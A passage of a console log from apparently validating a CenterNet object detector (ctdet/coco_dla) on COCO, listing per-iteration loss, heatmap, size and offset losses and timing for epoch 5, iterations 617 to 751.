0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][617/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8721 |hm_loss 0.5821 |wh_loss 2.5175 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][618/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8794 |hm_loss 0.5881 |wh_loss 2.5236 |off_loss 0.0389 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][619/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8857 |hm_loss 0.5940 |wh_loss 2.5253 |off_loss 0.0391 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][620/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8927 |hm_loss 0.5999 |wh_loss 2.5342 |off_loss 0.0393 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][621/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9009 |hm_loss 0.6058 |wh_loss 2.5527 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][622/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9098 |hm_loss 0.6118 |wh_loss 2.5740 |off_loss 0.0406 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][623/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9193 |hm_loss 0.6178 |wh_loss 2.6009 |off_loss 0.0415 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][624/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9283 |hm_loss 0.6237 |wh_loss 2.6243 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][625/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9366 |hm_loss 0.6295 |wh_loss 2.6453 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][626/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9352 |hm_loss 0.6286 |wh_loss 2.6411 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][627/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9338 |hm_loss 0.6277 |wh_loss 2.6369 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][628/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9324 |hm_loss 0.6268 |wh_loss 2.6327 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][629/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9310 |hm_loss 0.6259 |wh_loss 2.6285 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][630/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9296 |hm_loss 0.6249 |wh_loss 2.6243 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][631/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9283 |hm_loss 0.6240 |wh_loss 2.6202 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][632/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9269 |hm_loss 0.6231 |wh_loss 2.6161 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][633/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9348 |hm_loss 0.6278 |wh_loss 2.6454 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][634/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.9424 |hm_loss 0.6325 |wh_loss 2.6710 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][635/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9496 |hm_loss 0.6375 |wh_loss 2.6907 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][636/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9572 |hm_loss 0.6428 |wh_loss 2.7123 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][637/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9655 |hm_loss 0.6486 |wh_loss 2.7360 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][638/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9734 |hm_loss 0.6544 |wh_loss 2.7510 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][639/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9805 |hm_loss 0.6602 |wh_loss 2.7583 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][640/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9887 |hm_loss 0.6660 |wh_loss 2.7791 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][641/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 0.9978 |hm_loss 0.6719 |wh_loss 2.8056 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][642/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0070 |hm_loss 0.6777 |wh_loss 2.8301 |off_loss 0.0463 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][643/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0160 |hm_loss 0.6835 |wh_loss 2.8544 |off_loss 0.0471 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][644/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0244 |hm_loss 0.6893 |wh_loss 2.8740 |off_loss 0.0477 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][645/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0229 |hm_loss 0.6883 |wh_loss 2.8695 |off_loss 0.0476 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][646/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0214 |hm_loss 0.6873 |wh_loss 2.8651 |off_loss 0.0475 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][647/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0199 |hm_loss 0.6864 |wh_loss 2.8607 |off_loss 0.0475 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][648/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0184 |hm_loss 0.6854 |wh_loss 2.8563 |off_loss 0.0474 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][649/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0169 |hm_loss 0.6844 |wh_loss 2.8519 |off_loss 0.0473 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][650/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0155 |hm_loss 0.6835 |wh_loss 2.8475 |off_loss 0.0472 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][651/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0235 |hm_loss 0.6882 |wh_loss 2.8773 |off_loss 0.0476 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][652/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0307 |hm_loss 0.6930 |wh_loss 2.9004 |off_loss 0.0477 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][653/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0379 |hm_loss 0.6980 |wh_loss 2.9164 |off_loss 0.0483 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][654/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0443 |hm_loss 0.7032 |wh_loss 2.9274 |off_loss 0.0483 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][655/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0510 |hm_loss 0.7086 |wh_loss 2.9342 |off_loss 0.0489 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][656/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0567 |hm_loss 0.7141 |wh_loss 2.9344 |off_loss 0.0492 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][657/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0634 |hm_loss 0.7196 |wh_loss 2.9397 |off_loss 0.0499 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][658/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0704 |hm_loss 0.7250 |wh_loss 2.9528 |off_loss 0.0501 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][659/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0779 |hm_loss 0.7306 |wh_loss 2.9686 |off_loss 0.0505 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][660/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0856 |hm_loss 0.7362 |wh_loss 2.9844 |off_loss 0.0510 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][661/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0932 |hm_loss 0.7417 |wh_loss 3.0002 |off_loss 0.0515 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][662/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0917 |hm_loss 0.7407 |wh_loss 2.9957 |off_loss 0.0514 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][663/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0901 |hm_loss 0.7396 |wh_loss 2.9911 |off_loss 0.0514 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][664/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0886 |hm_loss 0.7386 |wh_loss 2.9867 |off_loss 0.0513 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][665/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0870 |hm_loss 0.7376 |wh_loss 2.9822 |off_loss 0.0512 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][666/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0855 |hm_loss 0.7366 |wh_loss 2.9777 |off_loss 0.0511 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][667/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0839 |hm_loss 0.7355 |wh_loss 2.9732 |off_loss 0.0511 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][668/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0824 |hm_loss 0.7345 |wh_loss 2.9688 |off_loss 0.0510 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][669/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0808 |hm_loss 0.7335 |wh_loss 2.9644 |off_loss 0.0509 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][670/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0793 |hm_loss 0.7325 |wh_loss 2.9599 |off_loss 0.0508 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][671/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0778 |hm_loss 0.7315 |wh_loss 2.9555 |off_loss 0.0508 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][672/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0763 |hm_loss 0.7305 |wh_loss 2.9511 |off_loss 0.0507 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][673/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0747 |hm_loss 0.7295 |wh_loss 2.9468 |off_loss 0.0506 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][674/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0732 |hm_loss 0.7285 |wh_loss 2.9424 |off_loss 0.0505 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][675/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0717 |hm_loss 0.7275 |wh_loss 2.9381 |off_loss 0.0505 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][676/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0702 |hm_loss 0.7265 |wh_loss 2.9337 |off_loss 0.0504 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][677/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0687 |hm_loss 0.7255 |wh_loss 2.9294 |off_loss 0.0503 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][678/2110]|Tot: 0:00:14 |ETA: 0:00:00 |loss 1.0672 |hm_loss 0.7245 |wh_loss 2.9251 |off_loss 0.0502 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][679/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0657 |hm_loss 0.7235 |wh_loss 2.9208 |off_loss 0.0502 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][680/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0642 |hm_loss 0.7225 |wh_loss 2.9165 |off_loss 0.0501 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][681/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0627 |hm_loss 0.7215 |wh_loss 2.9122 |off_loss 0.0500 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][682/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0613 |hm_loss 0.7205 |wh_loss 2.9079 |off_loss 0.0499 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][683/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0598 |hm_loss 0.7196 |wh_loss 2.9037 |off_loss 0.0499 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][684/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0583 |hm_loss 0.7186 |wh_loss 2.8994 |off_loss 0.0498 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][685/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0569 |hm_loss 0.7176 |wh_loss 2.8952 |off_loss 0.0497 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][686/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0554 |hm_loss 0.7167 |wh_loss 2.8910 |off_loss 0.0496 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][687/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0540 |hm_loss 0.7157 |wh_loss 2.8868 |off_loss 0.0496 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][688/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0525 |hm_loss 0.7148 |wh_loss 2.8826 |off_loss 0.0495 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][689/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0511 |hm_loss 0.7138 |wh_loss 2.8784 |off_loss 0.0494 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][690/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0496 |hm_loss 0.7129 |wh_loss 2.8743 |off_loss 0.0494 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][691/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0482 |hm_loss 0.7119 |wh_loss 2.8701 |off_loss 0.0493 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][692/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0468 |hm_loss 0.7110 |wh_loss 2.8660 |off_loss 0.0492 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][693/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0453 |hm_loss 0.7100 |wh_loss 2.8618 |off_loss 0.0491 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][694/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0439 |hm_loss 0.7091 |wh_loss 2.8577 |off_loss 0.0491 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][695/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0425 |hm_loss 0.7081 |wh_loss 2.8536 |off_loss 0.0490 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][696/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0411 |hm_loss 0.7072 |wh_loss 2.8495 |off_loss 0.0489 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][697/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0397 |hm_loss 0.7062 |wh_loss 2.8454 |off_loss 0.0489 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][698/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0382 |hm_loss 0.7053 |wh_loss 2.8414 |off_loss 0.0488 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][699/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0368 |hm_loss 0.7044 |wh_loss 2.8373 |off_loss 0.0487 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][700/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0354 |hm_loss 0.7035 |wh_loss 2.8333 |off_loss 0.0487 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][701/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0340 |hm_loss 0.7025 |wh_loss 2.8292 |off_loss 0.0486 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][702/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0327 |hm_loss 0.7016 |wh_loss 2.8252 |off_loss 0.0485 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][703/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0313 |hm_loss 0.7007 |wh_loss 2.8212 |off_loss 0.0484 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][704/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0299 |hm_loss 0.6998 |wh_loss 2.8172 |off_loss 0.0484 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][705/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0285 |hm_loss 0.6989 |wh_loss 2.8132 |off_loss 0.0483 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][706/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0271 |hm_loss 0.6980 |wh_loss 2.8092 |off_loss 0.0482 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][707/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0257 |hm_loss 0.6970 |wh_loss 2.8053 |off_loss 0.0482 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][708/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0244 |hm_loss 0.6961 |wh_loss 2.8013 |off_loss 0.0481 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][709/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0230 |hm_loss 0.6952 |wh_loss 2.7974 |off_loss 0.0480 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][710/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0216 |hm_loss 0.6943 |wh_loss 2.7934 |off_loss 0.0480 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][711/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0203 |hm_loss 0.6934 |wh_loss 2.7895 |off_loss 0.0479 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][712/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0189 |hm_loss 0.6925 |wh_loss 2.7856 |off_loss 0.0478 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][713/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0176 |hm_loss 0.6916 |wh_loss 2.7817 |off_loss 0.0478 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][714/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0162 |hm_loss 0.6907 |wh_loss 2.7778 |off_loss 0.0477 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][715/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0149 |hm_loss 0.6898 |wh_loss 2.7739 |off_loss 0.0476 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][716/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0135 |hm_loss 0.6890 |wh_loss 2.7700 |off_loss 0.0476 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][717/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0122 |hm_loss 0.6881 |wh_loss 2.7662 |off_loss 0.0475 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][718/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0109 |hm_loss 0.6872 |wh_loss 2.7623 |off_loss 0.0474 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][719/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0095 |hm_loss 0.6863 |wh_loss 2.7585 |off_loss 0.0474 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][720/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0082 |hm_loss 0.6854 |wh_loss 2.7547 |off_loss 0.0473 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][721/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0069 |hm_loss 0.6846 |wh_loss 2.7509 |off_loss 0.0472 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][722/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0056 |hm_loss 0.6837 |wh_loss 2.7471 |off_loss 0.0472 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][723/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0043 |hm_loss 0.6828 |wh_loss 2.7433 |off_loss 0.0471 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][724/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0029 |hm_loss 0.6820 |wh_loss 2.7395 |off_loss 0.0470 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][725/2110]|Tot: 0:00:15 |ETA: 0:00:00 |loss 1.0016 |hm_loss 0.6811 |wh_loss 2.7357 |off_loss 0.0470 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][726/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 1.0003 |hm_loss 0.6802 |wh_loss 2.7319 |off_loss 0.0469 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][727/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9990 |hm_loss 0.6794 |wh_loss 2.7282 |off_loss 0.0468 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][728/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9977 |hm_loss 0.6785 |wh_loss 2.7244 |off_loss 0.0468 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][729/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9964 |hm_loss 0.6777 |wh_loss 2.7207 |off_loss 0.0467 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][730/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9952 |hm_loss 0.6768 |wh_loss 2.7170 |off_loss 0.0467 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][731/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9939 |hm_loss 0.6759 |wh_loss 2.7133 |off_loss 0.0466 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][732/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9926 |hm_loss 0.6751 |wh_loss 2.7096 |off_loss 0.0465 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][733/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9913 |hm_loss 0.6743 |wh_loss 2.7059 |off_loss 0.0465 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][734/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9900 |hm_loss 0.6734 |wh_loss 2.7022 |off_loss 0.0464 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][735/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9888 |hm_loss 0.6726 |wh_loss 2.6985 |off_loss 0.0463 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][736/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9875 |hm_loss 0.6717 |wh_loss 2.6949 |off_loss 0.0463 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][737/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9862 |hm_loss 0.6709 |wh_loss 2.6912 |off_loss 0.0462 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][738/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9850 |hm_loss 0.6701 |wh_loss 2.6876 |off_loss 0.0462 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][739/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9837 |hm_loss 0.6692 |wh_loss 2.6839 |off_loss 0.0461 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][740/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9825 |hm_loss 0.6684 |wh_loss 2.6803 |off_loss 0.0460 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][741/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9812 |hm_loss 0.6676 |wh_loss 2.6767 |off_loss 0.0460 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][742/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9799 |hm_loss 0.6667 |wh_loss 2.6731 |off_loss 0.0459 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][743/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9787 |hm_loss 0.6659 |wh_loss 2.6695 |off_loss 0.0458 |Data 0.008s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][744/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9775 |hm_loss 0.6651 |wh_loss 2.6659 |off_loss 0.0458 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][745/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9762 |hm_loss 0.6643 |wh_loss 2.6624 |off_loss 0.0457 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][746/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9750 |hm_loss 0.6634 |wh_loss 2.6588 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][747/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9737 |hm_loss 0.6626 |wh_loss 2.6552 |off_loss 0.0456 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][748/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9725 |hm_loss 0.6618 |wh_loss 2.6517 |off_loss 0.0455 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][749/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9713 |hm_loss 0.6610 |wh_loss 2.6482 |off_loss 0.0455 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][750/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9701 |hm_loss 0.6602 |wh_loss 2.6446 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][751/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9689 |hm_loss 0.6594 |wh_loss 2.6411 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 